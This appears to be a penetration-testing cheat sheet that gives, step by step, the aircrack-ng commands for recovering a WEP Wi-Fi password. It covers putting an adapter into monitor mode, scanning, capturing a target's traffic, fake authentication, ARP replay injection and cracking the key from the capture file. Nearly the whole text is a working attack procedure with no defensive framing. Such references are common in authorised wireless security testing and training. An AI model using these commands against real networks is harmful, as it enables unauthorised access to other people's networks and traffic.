WEP
Attack that exploits weaknesses in WEP encryption to recover the network password by capturing and analyzing traffic.
Setup
| Command | Description |
|---|---|
| ip addr | Displays the MAC address of the wireless adapter. |
| airmon-ng start wlan0 | Puts the wireless adapter into monitor mode. |
Scanning
| Command | Description |
|---|---|
| airodump-ng wlan0mon | Scans nearby networks on the 2.4GHz band and displays their BSSID and channel. |
| airodump-ng --band a wlan0mon | Scans nearby networks on the 5GHz band and displays their BSSID and channel. |
Capture
| Command | Description |
|---|---|
| airodump-ng --channel [channel_no] --bssid [BSSID] --write [file_name] wlan0mon | Captures traffic on the target network and saves it to a file (2.4GHz). |
| airodump-ng --band a --channel [channel_no] --bssid [BSSID] --write [file_name] wlan0mon | Captures traffic on the target network and saves it to a file (5GHz). |
Execution
| Command | Description |
|---|---|
| aireplay-ng --fakeauth 0 -a [BSSID] -h [MAC] wlan0mon | Performs fake authentication with the access point. |
| aireplay-ng --arpreplay -b [BSSID] -h [MAC] wlan0mon | Generates extra network traffic to speed up cracking the WEP key. |
Cracking
| Command | Description |
|---|---|
| aircrack-ng [file_name]-01.cap | Cracks the WEP key from the captured packet file. |